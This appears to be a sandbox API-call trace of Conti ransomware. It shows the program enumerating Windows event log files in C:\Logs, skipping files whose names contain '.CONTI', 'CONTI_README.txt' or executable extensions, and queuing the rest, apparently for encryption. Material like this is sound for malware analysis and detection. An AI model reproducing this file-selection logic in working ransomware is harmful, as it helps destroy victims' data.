	[0095.304] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc96cb64b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc96cb64b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx", cAlternateFileName="MIEBFF~1.EVT")) returned 1
	[0095.304] lstrcmpiW (lpString1="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx", lpString2=".") returned 1
	[0095.304] lstrcmpiW (lpString1="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx", lpString2="..") returned 1
	[0095.304] StrStrIW (lpFirst="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx", lpSrch=".CONTI") returned 0x0
	[0095.304] StrStrIW (lpFirst="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.304] StrStrIW (lpFirst="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx", lpSrch=".exe") returned 0x0
	[0095.304] StrStrIW (lpFirst="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx", lpSrch=".dll") returned 0x0
	[0095.304] StrStrIW (lpFirst="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx", lpSrch=".lnk") returned 0x0
	[0095.304] StrStrIW (lpFirst="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx", lpSrch=".sys") returned 0x0
	[0095.304] StrStrIW (lpFirst="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx", lpSrch=".CONTI") returned 0x0
	[0095.304] StrStrIW (lpFirst="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.304] lstrlenW (lpString="C:\\Logs") returned 7
	[0095.304] lstrlenW (lpString="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 43
	[0095.304] GetProcessHeap () returned 0x1720000
	[0095.304] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x68) returned 0x1740f80
	[0095.304] lstrcpyW (in: lpString1=0x1740f80, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0095.304] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0095.304] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx"
	[0095.304] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d41d0) returned 1
	[0095.304] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca64aa7b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca64aa7b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx", cAlternateFileName="MI9F85~1.EVT")) returned 1
	[0095.304] lstrcmpiW (lpString1="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx", lpString2=".") returned 1
	[0095.304] lstrcmpiW (lpString1="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx", lpString2="..") returned 1
	[0095.304] StrStrIW (lpFirst="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0095.304] StrStrIW (lpFirst="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.304] StrStrIW (lpFirst="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx", lpSrch=".exe") returned 0x0
	[0095.304] StrStrIW (lpFirst="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx", lpSrch=".dll") returned 0x0
	[0095.304] StrStrIW (lpFirst="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx", lpSrch=".lnk") returned 0x0
	[0095.304] StrStrIW (lpFirst="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx", lpSrch=".sys") returned 0x0
	[0095.304] StrStrIW (lpFirst="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0095.304] StrStrIW (lpFirst="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.304] lstrlenW (lpString="C:\\Logs") returned 7
	[0095.304] lstrlenW (lpString="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 49
	[0095.305] GetProcessHeap () returned 0x1720000
	[0095.305] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x74) returned 0x17d0538
	[0095.305] lstrcpyW (in: lpString1=0x17d0538, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0095.305] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0095.305] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx"
	[0095.305] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d4660) returned 1
	[0095.305] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd9ec80, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xfd9ec80, ftLastAccessTime.dwHighDateTime=0x1d1a04f, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx", cAlternateFileName="MIBE3D~1.EVT")) returned 1
	[0095.305] lstrcmpiW (lpString1="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx", lpString2=".") returned 1
	[0095.305] lstrcmpiW (lpString1="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx", lpString2="..") returned 1
	[0095.305] StrStrIW (lpFirst="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0095.305] StrStrIW (lpFirst="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.305] StrStrIW (lpFirst="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx", lpSrch=".exe") returned 0x0
	[0095.305] StrStrIW (lpFirst="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx", lpSrch=".dll") returned 0x0
	[0095.305] StrStrIW (lpFirst="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx", lpSrch=".lnk") returned 0x0
	[0095.305] StrStrIW (lpFirst="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx", lpSrch=".sys") returned 0x0
	[0095.305] StrStrIW (lpFirst="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0095.305] StrStrIW (lpFirst="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.305] lstrlenW (lpString="C:\\Logs") returned 7
	[0095.305] lstrlenW (lpString="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 59
	[0095.305] GetProcessHeap () returned 0x1720000
	[0095.305] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x88) returned 0x17d05b8
	[0095.305] lstrcpyW (in: lpString1=0x17d05b8, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0095.305] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0095.305] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx"
	[0095.305] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d4af0) returned 1
	[0095.305] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9658ef3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9658ef3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-GroupPolicy%4Operational.evtx", cAlternateFileName="MIE38D~1.EVT")) returned 1
	[0095.305] lstrcmpiW (lpString1="Microsoft-Windows-GroupPolicy%4Operational.evtx", lpString2=".") returned 1
	[0095.305] lstrcmpiW (lpString1="Microsoft-Windows-GroupPolicy%4Operational.evtx", lpString2="..") returned 1
	[0095.305] StrStrIW (lpFirst="Microsoft-Windows-GroupPolicy%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0095.305] StrStrIW (lpFirst="Microsoft-Windows-GroupPolicy%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.305] StrStrIW (lpFirst="Microsoft-Windows-GroupPolicy%4Operational.evtx", lpSrch=".exe") returned 0x0
	[0095.305] StrStrIW (lpFirst="Microsoft-Windows-GroupPolicy%4Operational.evtx", lpSrch=".dll") returned 0x0
	[0095.305] StrStrIW (lpFirst="Microsoft-Windows-GroupPolicy%4Operational.evtx", lpSrch=".lnk") returned 0x0
	[0095.305] StrStrIW (lpFirst="Microsoft-Windows-GroupPolicy%4Operational.evtx", lpSrch=".sys") returned 0x0
	[0095.306] StrStrIW (lpFirst="Microsoft-Windows-GroupPolicy%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0095.306] StrStrIW (lpFirst="Microsoft-Windows-GroupPolicy%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.306] lstrlenW (lpString="C:\\Logs") returned 7
	[0095.306] lstrlenW (lpString="Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 47
	[0095.306] GetProcessHeap () returned 0x1720000
	[0095.306] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x70) returned 0x1740820
	[0095.306] lstrcpyW (in: lpString1=0x1740820, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0095.306] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0095.306] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-GroupPolicy%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx"
	[0095.306] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d4f80) returned 1
	[0095.306] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9dcc480, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9dcc480, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-HotspotAuth%4Operational.evtx", cAlternateFileName="MIE386~1.EVT")) returned 1
	[0095.306] lstrcmpiW (lpString1="Microsoft-Windows-HotspotAuth%4Operational.evtx", lpString2=".") returned 1
	[0095.306] lstrcmpiW (lpString1="Microsoft-Windows-HotspotAuth%4Operational.evtx", lpString2="..") returned 1
	[0095.306] StrStrIW (lpFirst="Microsoft-Windows-HotspotAuth%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0095.306] StrStrIW (lpFirst="Microsoft-Windows-HotspotAuth%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.306] StrStrIW (lpFirst="Microsoft-Windows-HotspotAuth%4Operational.evtx", lpSrch=".exe") returned 0x0
	[0095.306] StrStrIW (lpFirst="Microsoft-Windows-HotspotAuth%4Operational.evtx", lpSrch=".dll") returned 0x0
	[0095.306] StrStrIW (lpFirst="Microsoft-Windows-HotspotAuth%4Operational.evtx", lpSrch=".lnk") returned 0x0
	[0095.306] StrStrIW (lpFirst="Microsoft-Windows-HotspotAuth%4Operational.evtx", lpSrch=".sys") returned 0x0
	[0095.306] StrStrIW (lpFirst="Microsoft-Windows-HotspotAuth%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0095.306] StrStrIW (lpFirst="Microsoft-Windows-HotspotAuth%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.306] lstrlenW (lpString="C:\\Logs") returned 7
	[0095.306] lstrlenW (lpString="Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 47
	[0095.306] GetProcessHeap () returned 0x1720000
	[0095.306] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x70) returned 0x1740640
	[0095.306] lstrcpyW (in: lpString1=0x1740640, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0095.306] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0095.306] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-HotspotAuth%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx"
	[0095.306] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d2428) returned 1
	[0095.306] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50b4bacf, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50b4bacf, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx", cAlternateFileName="MI6B25~1.EVT")) returned 1
	[0095.306] lstrcmpiW (lpString1="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx", lpString2=".") returned 1
	[0095.306] lstrcmpiW (lpString1="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx", lpString2="..") returned 1
	[0095.306] StrStrIW (lpFirst="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx", lpSrch=".CONTI") returned 0x0
	[0095.306] StrStrIW (lpFirst="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.307] StrStrIW (lpFirst="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx", lpSrch=".exe") returned 0x0
	[0095.307] StrStrIW (lpFirst="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx", lpSrch=".dll") returned 0x0
	[0095.307] StrStrIW (lpFirst="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx", lpSrch=".lnk") returned 0x0
	[0095.307] StrStrIW (lpFirst="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx", lpSrch=".sys") returned 0x0
	[0095.307] StrStrIW (lpFirst="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx", lpSrch=".CONTI") returned 0x0
	[0095.307] StrStrIW (lpFirst="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.307] lstrlenW (lpString="C:\\Logs") returned 7
	[0095.307] lstrlenW (lpString="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 51
	[0095.307] GetProcessHeap () returned 0x1720000
	[0095.307] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x78) returned 0x17d0648
	[0095.307] lstrcpyW (in: lpString1=0x17d0648, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0095.307] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0095.307] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx"
	[0095.307] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d28b8) returned 1
	[0095.307] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb66288f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-International%4Operational.evtx", cAlternateFileName="MI854A~1.EVT")) returned 1
	[0095.307] lstrcmpiW (lpString1="Microsoft-Windows-International%4Operational.evtx", lpString2=".") returned 1
	[0095.307] lstrcmpiW (lpString1="Microsoft-Windows-International%4Operational.evtx", lpString2="..") returned 1
	[0095.307] StrStrIW (lpFirst="Microsoft-Windows-International%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0095.307] StrStrIW (lpFirst="Microsoft-Windows-International%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.307] StrStrIW (lpFirst="Microsoft-Windows-International%4Operational.evtx", lpSrch=".exe") returned 0x0
	[0095.307] StrStrIW (lpFirst="Microsoft-Windows-International%4Operational.evtx", lpSrch=".dll") returned 0x0
	[0095.307] StrStrIW (lpFirst="Microsoft-Windows-International%4Operational.evtx", lpSrch=".lnk") returned 0x0
	[0095.307] StrStrIW (lpFirst="Microsoft-Windows-International%4Operational.evtx", lpSrch=".sys") returned 0x0
	[0095.307] StrStrIW (lpFirst="Microsoft-Windows-International%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0095.307] StrStrIW (lpFirst="Microsoft-Windows-International%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.307] lstrlenW (lpString="C:\\Logs") returned 7
	[0095.307] lstrlenW (lpString="Microsoft-Windows-International%4Operational.evtx") returned 49
	[0095.307] GetProcessHeap () returned 0x1720000
	[0095.307] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x74) returned 0x17d06c8
	[0095.307] lstrcpyW (in: lpString1=0x17d06c8, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0095.307] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0095.307] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-International%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx"
	[0095.307] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c5c48) returned 1
	[0095.307] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x506ad1ac, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x506ad1ac, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-Kernel-Boot%4Operational.evtx", cAlternateFileName="MI32CE~1.EVT")) returned 1
	[0095.307] lstrcmpiW (lpString1="Microsoft-Windows-Kernel-Boot%4Operational.evtx", lpString2=".") returned 1
	[0095.308] lstrcmpiW (lpString1="Microsoft-Windows-Kernel-Boot%4Operational.evtx", lpString2="..") returned 1
	[0095.308] StrStrIW (lpFirst="Microsoft-Windows-Kernel-Boot%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0095.308] StrStrIW (lpFirst="Microsoft-Windows-Kernel-Boot%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.308] StrStrIW (lpFirst="Microsoft-Windows-Kernel-Boot%4Operational.evtx", lpSrch=".exe") returned 0x0
	[0095.308] StrStrIW (lpFirst="Microsoft-Windows-Kernel-Boot%4Operational.evtx", lpSrch=".dll") returned 0x0
	[0095.308] StrStrIW (lpFirst="Microsoft-Windows-Kernel-Boot%4Operational.evtx", lpSrch=".lnk") returned 0x0
	[0095.308] StrStrIW (lpFirst="Microsoft-Windows-Kernel-Boot%4Operational.evtx", lpSrch=".sys") returned 0x0
	[0095.308] StrStrIW (lpFirst="Microsoft-Windows-Kernel-Boot%4Operational.evtx", lpSrch=".CONTI") returned 0x0
	[0095.308] StrStrIW (lpFirst="Microsoft-Windows-Kernel-Boot%4Operational.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.308] lstrlenW (lpString="C:\\Logs") returned 7
	[0095.308] lstrlenW (lpString="Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 47
	[0095.308] GetProcessHeap () returned 0x1720000
	[0095.308] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x70) returned 0x17407a8
	[0095.308] lstrcpyW (in: lpString1=0x17407a8, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0095.308] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0095.308] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-Kernel-Boot%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx"
	[0095.308] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c5570) returned 1
	[0095.308] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ca2fbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ca2fbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx", cAlternateFileName="MIA934~1.EVT")) returned 1
	[0095.308] lstrcmpiW (lpString1="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx", lpString2=".") returned 1
	[0095.308] lstrcmpiW (lpString1="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx", lpString2="..") returned 1
	[0095.308] StrStrIW (lpFirst="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx", lpSrch=".CONTI") returned 0x0
	[0095.308] StrStrIW (lpFirst="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.308] StrStrIW (lpFirst="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx", lpSrch=".exe") returned 0x0
	[0095.308] StrStrIW (lpFirst="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx", lpSrch=".dll") returned 0x0
	[0095.308] StrStrIW (lpFirst="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx", lpSrch=".lnk") returned 0x0
	[0095.308] StrStrIW (lpFirst="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx", lpSrch=".sys") returned 0x0
	[0095.308] StrStrIW (lpFirst="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx", lpSrch=".CONTI") returned 0x0
	[0095.308] StrStrIW (lpFirst="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.308] lstrlenW (lpString="C:\\Logs") returned 7
	[0095.308] lstrlenW (lpString="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned 49
	[0095.308] GetProcessHeap () returned 0x1720000
	[0095.308] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x74) returned 0x17d0748
	[0095.308] lstrcpyW (in: lpString1=0x17d0748, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0095.308] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0095.308] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx") returned="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx"
	[0095.309] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c47c0) returned 1
	[0095.309] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5071f8b0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5071f8b0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Microsoft-Windows-Kernel-PnP%4Configuration.evtx", cAlternateFileName="MIB32D~1.EVT")) returned 1
	[0095.309] lstrcmpiW (lpString1="Microsoft-Windows-Kernel-PnP%4Configuration.evtx", lpString2=".") returned 1
	[0095.309] lstrcmpiW (lpString1="Microsoft-Windows-Kernel-PnP%4Configuration.evtx", lpString2="..") returned 1
	[0095.309] StrStrIW (lpFirst="Microsoft-Windows-Kernel-PnP%4Configuration.evtx", lpSrch=".CONTI") returned 0x0
	[0095.309] StrStrIW (lpFirst="Microsoft-Windows-Kernel-PnP%4Configuration.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0095.309] StrStrIW (lpFirst="Microsoft-Windows-Kernel-PnP%4Configuration.evtx", lpSrch=".exe") returned 0x0
	[0095.309] StrStrIW (lpFirst="Microsoft-Windows-Kernel-PnP%4Configuration.evtx", lpSrch=".dll") returned 0x0
	[0095.309] StrStrIW (lpFirst="Microsoft-Windows-Kernel-PnP%4Configuration.evtx", lpSrch=".lnk") returned 0x0
